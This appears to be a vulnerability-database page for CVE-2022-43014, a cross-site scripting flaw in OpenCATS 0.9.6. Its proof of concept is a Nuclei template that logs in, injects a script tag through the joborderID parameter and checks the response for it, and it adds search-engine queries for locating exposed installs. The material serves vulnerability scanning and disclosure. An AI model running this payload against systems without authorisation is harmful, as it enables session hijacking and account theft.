CVE-2022-43014: OpenCATS 0.9.6 - Cross-Site Scripting

2025-08-01 OpenCATS PoC Public

Description

OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the joborderID parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2022-43014

info:
  name: OpenCATS 0.9.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the joborderID parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of OpenCATS or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_joborderID.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43014
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-43014
    cwe-id: CWE-79
    epss-score: 0.01366
    epss-percentile: 0.70445
    cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: opencats
    product: opencats
    shodan-query:
      - title:"OpenCATS"
      - http.title:"opencats"
    fofa-query: title="opencats"
    google-query: intitle:"opencats"
  tags: cve2022,cve,xss,opencats,authenticated,vuln

http:
  - raw:
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        GET /ajax.php?f=getPipelineJobOrder&joborderID=1)"></a>%20<script>alert(document.domain)</script>&page=0&entriesPerPage=1&sortBy=dateCreatedInt&sortDirection=desc&indexFile=index.php&isPopup=0 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'CATS='
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402200b7c48911e602d1a8102e7dda0f4a0ca619814bc365e0e98532e93070e33ca2d022000c78ee8059fe45153b968af35b4f3747c3e3645a4a9fcec9826108492275030:922c64590222798bb761d5b6d8e72950

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